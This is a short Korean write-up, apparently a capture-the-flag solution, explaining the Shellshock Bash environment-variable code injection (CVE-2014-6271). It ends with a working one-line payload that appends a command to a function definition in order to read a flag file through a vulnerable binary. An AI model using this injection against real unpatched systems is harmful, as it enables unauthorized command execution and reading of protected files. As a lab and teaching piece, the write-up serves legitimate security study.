Shellshock 취약점은 GNU Bash의 환경변수를 통한 코드 인젝션 취약점이다.
Bash의 환경변수에 함수정의를 이용해서 원하는 코드를 추가 할 수 있고, Bash가 사용될 때 추가된 코드가 실행되는 취약점
Bash는 Shell변수뿐만 아니라 Shell함수도 다른 Bash인스턴스로 Exporting 하는 것이 가능함.
Environment를 통해 새롭게 추가된 함수정의를 전파하기 위해 함수 이름으로 환경변수를 만들고 그 변수안에 '(){로 시작하는 함수 내용을 정의함.

취약점이 존재하는 Bash는 아래와 같이 함수정의 뒤에 임의의 명령어를 추가하면 Bash프로세스에서 해당 환경변수를 import할때 끝에 추가된 명령까지 실행하게 된다.

1 2 3 4 5 | shellshock@ubuntu:~$ ./bash -version GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu) Copyright (C) 2011 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> |
1 2 3 | shellshock@ubuntu:~$ x='() { :;}; /home/shellshock/bash -c "/bin/cat /home/shellshock/flag"' ./shellshock only if I knew CVE-2014-6271 ten years ago..!! Segmentation fault | cs |